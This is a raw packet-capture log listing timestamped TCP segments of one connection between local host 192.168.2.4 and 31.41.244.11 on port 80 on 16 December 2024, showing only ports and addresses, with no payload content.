Dec 16, 2024 21:02:37.674930096 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.675786972 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.675847054 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.675885916 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.675929070 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.676765919 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.676840067 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.676878929 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.677289963 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.677787066 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.677963018 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.678028107 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.678807020 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.678899050 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.678908110 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.679056883 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.679780960 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.679873943 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.679899931 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.680279970 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.680860996 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.680943012 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.680999994 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.681890011 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.681977034 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.682019949 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.682034969 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.682895899 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.682950020 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.683010101 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.683063030 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.683846951 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.683973074 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.684000969 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.684016943 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.684850931 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.684957981 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.685010910 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.685923100 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.685939074 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.686000109 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.686858892 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.686911106 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.686973095 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.687912941 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.687966108 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.688013077 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.688059092 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.688854933 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.688908100 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.688970089 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.689009905 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.689879894 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.690083981 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.690125942 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.690517902 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.690936089 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.691044092 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.691092014 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.691888094 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.691987991 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.692039967 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.692941904 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.693192005 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.693239927 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.693942070 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.694000006 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.694029093 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.694061995 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.694998980 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.695097923 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.695102930 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.695163965 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.695924044 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.696033955 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.696033001 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.696163893 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.696959972 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.696988106 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.697017908 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.697033882 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.697954893 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.698045969 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.698142052 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.698200941 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.698947906 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.698992968 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.699048996 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.699124098 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.699949980 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.700027943 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.700123072 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.700177908 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.700942993 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.701033115 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.701071978 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.701114893 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.701955080 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.702003956 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.702052116 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.702544928 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.703036070 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.703100920 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.703135014 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.703186035 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.704001904 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.704051018 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.704082012 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.704138994 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.705055952 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.705102921 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.705188036 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.705305099 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.706003904 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.706067085 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.706345081 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.706396103 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.707001925 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.707046032 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.707202911 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.707252026 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.708008051 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.708051920 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.708126068 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.708204031 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.709017992 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.709063053 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.709148884 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.710067034 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.710131884 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.710201979 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.710257053 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.711046934 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.711098909 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.711143017 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.711193085 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.712080956 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.712143898 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.712236881 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.712291956 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.713102102 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.713188887 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.713202953 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.713249922 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.714066029 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.714119911 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.714159012 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.714353085 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.715073109 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.715117931 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.715154886 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.715207100 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.716104031 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.716200113 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.716279030 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.716326952 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.717099905 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.717233896 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.717298031 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.718198061 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.718369007 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.718422890 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.719118118 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.719168901 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.719208002 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.719257116 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.859379053 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.859435081 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.859689951 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.859744072 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.860038042 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.860069036 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.860089064 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.860115051 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.860862017 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.860897064 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.860908031 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.860944033 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.861852884 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.862024069 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.862024069 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.862065077 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.862828016 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.862876892 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.862927914 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.863025904 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.863857985 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.863905907 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.863970995 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.864075899 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.864865065 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.864914894 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.865030050 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.865132093 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.865883112 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.865928888 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.865959883 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.866005898 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.866924047 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.866997957 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.867079020 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.867134094 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.867893934 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.867942095 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.867959023 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.868025064 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.868889093 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.868936062 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.868985891 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.869033098 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.869895935 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.869939089 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.870028973 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.870088100 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.870949984 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.871203899 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.871257067 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.871968985 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.871994972 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.872029066 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.872057915 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.872958899 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.873070002 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.873119116 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.873938084 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.874006033 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.874053955 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.874232054 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.874933958 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.874989986 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.875046015 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.875946045 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.875996113 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.876176119 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.876224995 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.876986027 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.877068996 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.877109051 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.877254963 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.877954960 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.878087997 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.878143072 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.878973007 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.879020929 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.879065990 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.879110098 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.879976034 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.880018950 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.880085945 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.880132914 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.881016970 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.881069899 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.881136894 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.881202936 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.882038116 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.882083893 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.882118940 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.882165909 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.882987022 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.883037090 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.883115053 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.883162022 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.884027004 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.884121895 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.884172916 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.885005951 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.885113001 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.885166883 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.886064053 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.886136055 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.886224985 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.886271000 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.887036085 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.887084007 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.887152910 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.887209892 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.888044119 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.888094902 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.888138056 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.888183117 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.889060020 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.889100075 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.889137983 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.889198065 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.890069008 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.890197992 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.890225887 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.890347958 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.891114950 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.891300917 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.891350985 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.892102957 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.892162085 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.892194033 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.892318010 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.893083096 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.893147945 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.893182039 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.893227100 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.894084930 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.894143105 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.894148111 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.894218922 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.895098925 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.895145893 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.895184040 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.895226002 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.896100044 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.896153927 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.896198988 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.896243095 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.897114992 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.897186041 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.897224903 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.897272110 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.898142099 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.898252010 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.898272991 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.898288012 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.899144888 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.899173021 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.899197102 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.899373055 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.900141001 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.900196075 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.900196075 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.900237083 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.901138067 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.901196957 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.901252031 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.901298046 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.902165890 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.902220011 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.902301073 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.902345896 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.903178930 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.903248072 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.903326988 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.904175043 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.904222012 CET	49812	80	192.168.2.4	31.41.244.11
